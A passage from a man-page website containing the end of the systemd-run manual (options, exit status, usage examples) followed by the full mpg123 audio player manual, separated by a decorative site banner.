Sets the service type. Also see Type= in systemd.service(5). This option has no effect in conjunction with –scope. Defaults to simple.

Added in version 211.

–uid=, –gid=

Runs the service process under the specified UNIX user and group. Also see User= and Group= in systemd.exec(5).

Added in version 211.

–nice=

Runs the service process with the specified nice level. Also see Nice= in systemd.exec(5).

Added in version 211.

–working-directory=

Runs the service process with the specified working directory. Also see WorkingDirectory= in systemd.exec(5).

Added in version 240.

–same-dir, -d

Similar to –working-directory=, but uses the current working directory of the caller for the service to execute.

Added in version 240.

-E NAME**[=VALUE]**, –setenv=NAME[=VALUE]

Runs the service process with the specified environment variable set. This parameter may be used more than once to set multiple variables. When “=” and VALUE are omitted, the value of the variable with the same name in the program environment will be used.

Also see Environment= in systemd.exec(5).

Added in version 211.

–pty, -t

When invoking the command, the transient service connects its standard input, output and error to the terminal systemd-run is invoked on, via a pseudo TTY device. This allows running programs that expect interactive user input/output as services, such as interactive command shells.

This option will result in systemd-run synchronously waiting for the transient service to terminate, similar to specifying –wait. If specified along with –wait, systemd-run wont exit when manually disconnecting from the pseudo TTY device.

Note that machinectl(1)s shell command is usually a better alternative for requesting a new, interactive login session on the local host or a local container.

See below for details on how this switch combines with –pipe.

Added in version 219.

–pipe, -P

If specified, standard input, output, and error of the transient service are inherited from the systemd-run command itself. This allows systemd-run to be used within shell pipelines.

Note that this mode is not suitable for interactive command shells and similar, as the service process will not become a TTY controller when invoked on a terminal. Use –pty instead in that case.

When both –pipe and –pty are used in combination the more appropriate option is automatically determined and used. Specifically, when invoked with standard input, output and error connected to a TTY –pty is used, and otherwise –pipe.

This option will result in systemd-run synchronously waiting for the transient service to terminate, similar to specifying –wait.

When this option is used the original file descriptors systemd-run receives are passed to the service processes as-is. If the service runs with different privileges than systemd-run, this means the service might not be able to reopen the passed file descriptors, due to normal file descriptor access restrictions. If the invoked process is a shell script that uses the echo “hello” >/dev/stderr construct for writing messages to stderr, this might cause problems, as this only works if stderr can be reopened. To mitigate this use the construct echo “hello” >&2 instead, which is mostly equivalent and avoids this pitfall.

Added in version 235.

–shell, -S

A shortcut for “–pty –same-dir –wait –collect –service-type=exec $SHELL”, i.e. requests an interactive shell in the current working directory, running in service context, accessible with a single switch.

Added in version 240.

–quiet, -q

Suppresses additional informational output while running. This is particularly useful in combination with –pty when it will suppress the initial message explaining how to terminate the TTY connection.

Added in version 219.

–on-active=, –on-boot=, –on-startup=, –on-unit-active=, –on-unit-inactive=

Defines a monotonic timer relative to different starting points for starting the specified command. See OnActiveSec=, OnBootSec=, OnStartupSec=, OnUnitActiveSec= and OnUnitInactiveSec= in systemd.timer(5) for details. These options are shortcuts for –timer-property= with the relevant properties. These options may not be combined with –scope or –pty.

Added in version 218.

–on-calendar=

Defines a calendar timer for starting the specified command. See OnCalendar= in systemd.timer(5). This option is a shortcut for –timer-property=OnCalendar=. This option may not be combined with –scope or –pty.

Added in version 218.

–on-clock-change, –on-timezone-change

Defines a trigger based on system clock jumps or timezone changes for starting the specified command. See OnClockChange= and OnTimezoneChange= in systemd.timer(5). These options are shortcuts for –timer-property=OnClockChange=yes and –timer-property=OnTimezoneChange=yes. These options may not be combined with –scope or –pty.

Added in version 242.

–path-property=, –socket-property=, –timer-property=

Sets a property on the path, socket, or timer unit that is created. This option is similar to –property=, but applies to the transient path, socket, or timer unit rather than the transient service unit created. This option takes an assignment in the same format as systemctl(1)s set-property command. These options may not be combined with –scope or –pty.

Added in version 218.

–no-block

Do not synchronously wait for the unit start operation to finish. If this option is not specified, the start request for the transient unit will be verified, enqueued and systemd-run will wait until the units start-up is completed. By passing this argument, it is only verified and enqueued. This option may not be combined with –wait.

Added in version 220.

–wait

Synchronously wait for the transient service to terminate. If this option is specified, the start request for the transient unit is verified, enqueued, and waited for. Subsequently the invoked unit is monitored, and it is waited until it is deactivated again (most likely because the specified command completed). On exit, terse information about the units runtime is shown, including total runtime (as well as CPU usage, if –property=CPUAccounting=1 was set) and the exit code and status of the main process. This output may be suppressed with –quiet. This option may not be combined with –no-block, –scope or the various path, socket, or timer options.

Added in version 232.

-G, –collect

Unload the transient unit after it completed, even if it failed. Normally, without this option, all units that ran and failed are kept in memory until the user explicitly resets their failure state with systemctl reset-failed or an equivalent command. On the other hand, units that ran successfully are unloaded immediately. If this option is turned on the “garbage collection” of units is more aggressive, and unloads units regardless if they exited successfully or failed. This option is a shortcut for –property=CollectMode=inactive-or-failed, see the explanation for CollectMode= in systemd.unit(5) for further information.

Added in version 236.

–ignore-failure

By default, if the specified command fails the invoked unit will be marked failed (though possibly still unloaded, see –collect=, above), and this is reported in the logs. If this switch is specified this is suppressed and any non-success exit status/code of the command is treated as success.

Added in version 256.

**–background=**COLOR

Change the terminal background color to the specified ANSI color as long as the session lasts. The color specified should be an ANSI X3.64 SGR background color, i.e. strings such as “40”, “41”, …, “47”, “48;2;…”, “48;5;…”. See ANSI Escape Code (Wikipedia)[1] for details.

Added in version 256.

–user

Talk to the service manager of the calling user, rather than the service manager of the system.

–system

Talk to the service manager of the system. This is the implied default.

-H, –host=

Execute the operation remotely. Specify a hostname, or a username and hostname separated by “@”, to connect to. The hostname may optionally be suffixed by a port ssh is listening on, separated by “:”, and then a container name, separated by “/”, which connects directly to a specific container on the specified host. This will use SSH to talk to the remote machine manager instance. Container names may be enumerated with machinectl -H HOST. Put IPv6 addresses in brackets.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

-C, –capsule=

Execute operation on a capsule. Specify a capsule name to connect to. See [email protected](5) for details about capsules.

Added in version 256.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

All command line arguments after the first non-option argument become part of the command line of the launched process.

EXIT STATUS

On success, 0 is returned. If systemd-run failed to start the service, a non-zero return value will be returned. If systemd-run waits for the service to terminate, the return value will be propagated from the service. 0 will be returned on success, including all the cases where systemd considers a service to have exited cleanly, see the discussion of SuccessExitStatus= in systemd.service(5).

EXAMPLES

Example 1. Logging environment variables provided by systemd to services

systemd-run env

Running as unit: run-19945.service
# journalctl -u run-19945.service
Sep 08 07:37:21 bupkis systemd[1]: Starting /usr/bin/env...
Sep 08 07:37:21 bupkis systemd[1]: Started /usr/bin/env.
Sep 08 07:37:21 bupkis env[19948]: PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
Sep 08 07:37:21 bupkis env[19948]: LANG=en_US.UTF-8
Sep 08 07:37:21 bupkis env[19948]: BOOT_IMAGE=/vmlinuz-3.11.0-0.rc5.git6.2.fc20.x86_64

Example 2. Limiting resources available to a command

systemd-run -p IOWeight=10 updatedb

This command invokes the updatedb(8) tool, but lowers the block I/O weight for it to 10. See systemd.resource-control(5) for more information on the IOWeight= property.

Example 3. Running commands at a specified time

The following command will touch a file after 30 seconds.

date; systemd-run –on-active=30 –timer-property=AccuracySec=100ms /bin/touch /tmp/foo

Mon Dec  8 20:44:24 KST 2014
Running as unit: run-71.timer
Will run service as unit: run-71.service
# journalctl -b -u run-71.timer
-- Journal begins at Fri 2014-12-05 19:09:21 KST, ends at Mon 2014-12-08 20:44:54 KST. --
Dec 08 20:44:38 container systemd[1]: Starting /bin/touch /tmp/foo.
Dec 08 20:44:38 container systemd[1]: Started /bin/touch /tmp/foo.
# journalctl -b -u run-71.service
-- Journal begins at Fri 2014-12-05 19:09:21 KST, ends at Mon 2014-12-08 20:44:54 KST. --
Dec 08 20:44:48 container systemd[1]: Starting /bin/touch /tmp/foo...
Dec 08 20:44:48 container systemd[1]: Started /bin/touch /tmp/foo.

Example 4. Allowing access to the tty

The following command invokes bash(1) as a service passing its standard input, output and error to the calling TTY.

systemd-run -t –send-sighup bash

Example 5. Start screen as a user service

$ systemd-run –scope –user screen Running scope as unit run-r14b0047ab6df45bfb45e7786cc839e76.scope.

$ screen -ls
There is a screen on:
        492..laptop     (Detached)
1 Socket in /var/run/screen/S-fatima.

This starts the screen process as a child of the systemd –user process that was started by [email protected], in a scope unit. A systemd.scope(5) unit is used instead of a systemd.service(5) unit, because screen will exit when detaching from the terminal, and a service unit would be terminated. Running screen as a user unit has the advantage that it is not part of the session scope. If KillUserProcesses=yes is configured in logind.conf(5), the default, the session scope will be terminated when the user logs out of that session.

The [email protected] is started automatically when the user first logs in, and stays around as long as at least one login session is open. After the user logs out of the last session, [email protected] and all services underneath it are terminated. This behavior is the default, when “lingering” is not enabled for that user. Enabling lingering means that [email protected] is started automatically during boot, even if the user is not logged in, and that the service is not terminated when the user logs out.

Enabling lingering allows the user to run processes without being logged in, for example to allow screen to persist after the user logs out, even if the session scope is terminated. In the default configuration, users can enable lingering for themselves:

$ loginctl enable-linger

Example 6. Variable expansion by the manager

$ systemd-run -t echo “<${INVOCATION_ID}>” <${INVOCATION_ID}> <> <5d0149bfa2c34b79bccb13074001eb20>

The first argument is expanded by the shell (double quotes), but the second one is not expanded by the shell (single quotes). echo(1) is called with ["/usr/bin/echo", “<>”, “<${INVOCATION_ID}>”] as the argument array, and then systemd(1) generates ${INVOCATION_ID} and substitutes it in the command-line. This substitution could not be done on the client side, because the target ID that will be set for the service isnt known before the call is made.

Example 7. Variable expansion and output redirection using a shell

Variable expansion by systemd(1) can be disabled with –expand-environment=no.

Disabling variable expansion can be useful if the command to execute contains dollar characters and escaping them would be inconvenient. For example, when a shell is used:

$ systemd-run –expand-environment=no -t bash
-c echo $SHELL $$ >/dev/stdout /bin/bash 12345

The last argument is passed verbatim to the bash(1) shell which is started by the service unit. The shell expands “$SHELL” to the path of the shell, and “$$” to its process number, and then those strings are passed to the echo built-in and printed to standard output (which in this case is connected to the calling terminal).

Example 8. Return value

$ systemd-run –user –wait true $ systemd-run –user –wait -p SuccessExitStatus=11 bash -c exit 11 $ systemd-run –user –wait -p SuccessExitStatus=SIGUSR1 –expand-environment=no
bash -c kill -SIGUSR1 $$

Those three invocations will succeed, i.e. terminate with an exit code of 0.

SEE ALSO

systemd(1), systemctl(1), systemd.unit(5), systemd.service(5), systemd.scope(5), systemd.slice(5), systemd.exec(5), systemd.resource-control(5), systemd.timer(5), systemd-mount(1), machinectl(1), run0(1)

NOTES

ANSI Escape Code (Wikipedia)

https://en.wikipedia.org/wiki/ANSI_escape_code#SGR_(Select_Graphic_Rendition)_parameters

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1898 - Linux cli command mpg123-jack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpg123-jack and provides detailed information about the command mpg123-jack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpg123-jack.

NAME 🖥️ mpg123-jack 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
Enables equalization, taken from file. The file needs to contain 32 lines of data, additional comment lines may be prefixed with #. Each data line consists of two floating-point entries, separated by whitespace. They specify the multipliers for left and right channel of a certain frequency band, respectively. The first line corresponds to the lowest, the 32nd to the highest frequency band. Note that you can control the equalizer interactively with the generic control interface. Also note that these are the 32 bands of the MPEG codec, not spaced like you would see for a usual graphic equalizer. The upside is that there is zero computational cost in addition to decoding. The downside is that you roughly have bass in band 0, (upper) mids in band 1, treble in all others.

- -gapless
Enable code that cuts (junk) samples at beginning and end of tracks, enabling gapless transitions between MPEG files when encoder padding and codec delays would prevent it. This is enabled per default beginning with mpg123 version 1.0.0 .

- -no-gapless
Disable the gapless code. That gives you MP3 decodings that include encoder delay and padding plus mpg123’s decoder delay.

- -no-infoframe
Do not parse the Xing/Lame/VBR/Info frame, decode it instead just like a stupid old MP3 hardware player. This implies disabling of gapless playback as the necessary information is in said metadata frame.

-D n, –delay n
Insert a delay of n seconds before each track.

-o h, - -headphones
Direct audio output to the headphone connector (some hardware only; AIX, HP, SUN).

-o s, - -speaker
Direct audio output to the speaker (some hardware only; AIX, HP, SUN).

-o l, - -lineout
Direct audio output to the line-out connector (some hardware only; AIX, HP, SUN).

-b size, - -buffer size
Use an audio output buffer of size Kbytes. This is useful to bypass short periods of heavy system activity, which would normally cause the audio output to be interrupted. You should specify a buffer size of at least 1024 (i.e. 1 Mb, which equals about 6 seconds of audio data) or more; less than about 300 does not make much sense. The default is 0, which turns buffering off.

- -preload fraction
Wait for the buffer to be filled to fraction before starting playback (fraction between 0 and 1). You can tune this prebuffering to either get faster sound to your ears or safer uninterrupted web radio. Default is 0.2 (wait for 20 % of buffer to be full, changed from 1 in version 1.23).

- -devbuffer seconds
Set device buffer in seconds; <= 0 means default value. This is the small buffer between the application and the audio backend, possibly directly related to hardware buffers.

- -smooth
Keep buffer over track boundaries – meaning, do not empty the buffer between tracks for possibly some added smoothness.

MISC OPTIONS

-t, - -test
Test mode. The audio stream is decoded, but no output occurs.

-c, - -check
Check for filter range violations (clipping), and report them for each frame if any occur.

-v, - -verbose
Increase the verbosity level. For example, displays the frame numbers during decoding.

-q, - -quiet
Quiet. Suppress diagnostic messages.

-C, - -control
Enable terminal control keys. This is enabled automatically if a terminal is detected. By default use ’s’ or the space bar to stop/restart (pause, unpause) playback, ‘f’ to jump forward to the next song, ‘b’ to jump back to the beginning of the song, ‘,’ to rewind, ‘.’ to fast forward, and ‘q’ to quit. Type ‘h’ for a full list of available controls. The A-B loop feature with key ‘o’ changes the preset loop interval to the interval between two presses of ‘o’, the third press (or ‘p’) ending the looped playback. The key ‘p’ will use the updated loop interval after that.

- -no-control
Disable terminal control even if terminal is detected.

- -title
In an xterm, rxvt, screen, iris-ansi (compatible, TERM environment variable is examined), change the window’s title to the name of song currently playing.

- -pauseloop seconds
Set the length of the loop interval in terminal control fixed looping mode, away from the default of 0.5 seconds, as a floating point number. This value can be overwritten at runtime using the A-B loop feature.

- -name name
Set the name of this instance, possibly used in various places. This sets the client name for JACK output.

- -long-tag
Display ID3 tag info always in long format with one line per item (artist, title, …)

–utf8
Regardless of environment, print metadata in UTF-8 (otherwise, when not using UTF-8 locale, you’ll get ASCII stripdown).

-R, - -remote
Activate generic control interface. mpg123 will then read and execute commands from stdin. Basic usage is ``load <filename> ’’ to play some file and the obvious ``pause’’, ``command. ``jump <frame>’’ will jump/seek to a given point (MPEG frame number). Issue ``help’’ to get a full list of commands and syntax.

- -remote-err
Print responses for generic control mode to standard error, not standard out. This is automatically triggered when using -s.

–fifo path
Create a fifo / named pipe on the given path and use that for reading commands instead of standard input.

- -aggressive
Tries to get higher priority

-T, –realtime
Tries to gain realtime priority. This option usually requires root privileges to have any effect.

-?, - -help
Shows short usage instructions.

- -longhelp
Shows long usage instructions.

- -version
Print the version string.

- -libversion
Print version information on the mpg123 libraries being used (libmpg123, libout123, libsyn123).

HTTP SUPPORT

In addition to reading MPEG audio streams from ordinary files and from the standard input, mpg123 supports retrieval of MPEG audio streams or playlists via the HTTP protocol, which is used in the World Wide Web (WWW). Such files are specified using a so-called URL, which starts with http:// or https://. When a file with that prefix is encountered, mpg123 since 1.30.0 will by default call an external helper program (either wget(1) or curl(1), see the - -network option) to retrieve the resource. You can configure access via a proxy server using the standard environment variables those programs support. The - -proxy option that mpg123 before 1.30.0 used for its internal network code is gone in the default build now and will probably disappear for good with 1.31.1.

Note that, in order to play MPEG audio files from a WWW server, it is necessary that the connection to that server is fast enough. For example, a 128 kbit/s MPEG file requires the network connection to be at least 128 kbit/s (16 kbyte/s) plus protocol overhead. If you suffer from short network outages, you should try the -b option (buffer) to bypass such outages. If your network connection is generally not fast enough to retrieve MPEG audio files in realtime, you can first download the files to your local harddisk (e.g. using wget(1)) and then play them from there.

Streams with embedded ICY metadata are supported, the interval being communicated via HTTP headers or - -icy-interval.

INTERRUPT

When in terminal control mode, you can quit via pressing the q key, while any time you can abort mpg123 by pressing Ctrl-C. If not in terminal control mode, this will skip to the next file (if any). If you want to abort playing immediately in that case, press Ctrl-C twice in short succession (within about one second).

Note that the result of quitting mpg123 pressing Ctrl-C might not be audible immediately, due to audio data buffering in the audio device. This delay is system dependent, but it is usually not more than one or two seconds.

PLAYBACK STATUS LINE

In verbose mode, mpg123 updates a line with various information centering around the current playback position. On any decent terminal, the line also works as a progress bar in the current file by reversing video for a fraction of the line according to the current position. An example for a full line is this:

> 0291+0955 00:01.68+00:28.22 [00:05.30] mix 100=085 192 kb/s 576 B acc 18 clip p+0.014

The information consists of, in order:

>
single-character playback state (``>’’ for playing, ``=’’ for pausing/looping, ``_’’ for stopped)

0291+0955
current frame offset and number of remaining frames after the plus sign

00:01.68+00:28.22
current position from and remaining time in human terms (hours, minutes, seconds)

[00:05.30]
fill of the output buffer in terms of playback time, if the buffer is enabled

mix
selected RVA mode (possible values: mix, alb (album), and - - - (neutral, off))

100=085
set volume and the RVA-modified effective volume after the equal sign

192 kb/s
current bitrate

576 B
size of current frame in bytes

acc
if positions are accurate, possible values are ``acc’’ for accurate positions or ``fuz’’ for fuzzy (with guessed byte offsets using mean frame size)

18 clip
amount of clipped samples, non-zero only if decoder reports that (generic does, some optimized ones not)

p+0.014
pitch change (increased/decreased playback sampling rate on user request)

NOTES

MPEG audio decoding requires a good deal of CPU performance, especially layer-3. To decode it in realtime, you should have at least an i486DX4, Pentium, Alpha, SuperSparc or equivalent processor. You can also use the -m option to decode mono only, which reduces the CPU load somewhat for layer-3 streams. See also the -2 and -4 options.

If everything else fails, have mpg123 decode to a file and then use an appropriate utility to play that file with less CPU load. Most probably you can configure mpg123 to produce a format suitable for your audio device (see above about encodings and sampling rates).

If your system is generally fast enough to decode in realtime, but there are sometimes periods of heavy system load (such as cronjobs, users logging in remotely, starting of ``big’’ programs etc.) causing the audio output to be interrupted, then you should use the -b option to use a buffer of reasonable size (at least 1000 Kbytes).

EXIT CODE

Up to version 1.25.x, mpg123 always returned exit code 0 also for complete junk on the input side. Fatal errors were only considered for output. With version 1.26.0, this changed to the behaviour described below.

When not using the remote control interface (which returns input errors as text messages), the process exit code is zero (success) only if all tracks in a playlist had at least one frame parsed, even if it did not decode cleanly, or are empty, MPEG-wise (perhaps only metadata, or really an empty file). When you decode nothing, nothing is the result and that is fine. When a track later aborts because of parser errors or breakdown of the network communication, this is treated as end of a track, but does not make the process as such fail. One really bad (or non-existing) stream in the playlist results in a non-zero error code, consistent with other UNIX tools.

An error in audio output results in the process ending with a non-zero exit code immediately, regardless of how much data has been successfully played before. The forgiveness is only on the input side.

BUGS

Mostly MPEG-1 layer 2 and 3 are tested in real life. Please report any issues and provide test files to help fixing them.

No CRC error checking is performed. But the decoder is built and tested to behave nicely with damaged streams. Mostly, damaged frames will just be silent.

Some platforms lack audio hardware support; you may be able to use the -s switch to feed the decoded data to a program that can play it on your audio device.

AUTHORS

Maintainer:

Thomas Orgis <[email protected]>, <[email protected]>

Original Creator:

Michael Hipp

Uses code or ideas from various people, see the AUTHORS file accompanying the source code.

LICENSE

mpg123 is licensed under the GNU Lesser/Library General Public License, LGPL, version 2.1 .

WEBSITE

http://www.mpg123.org
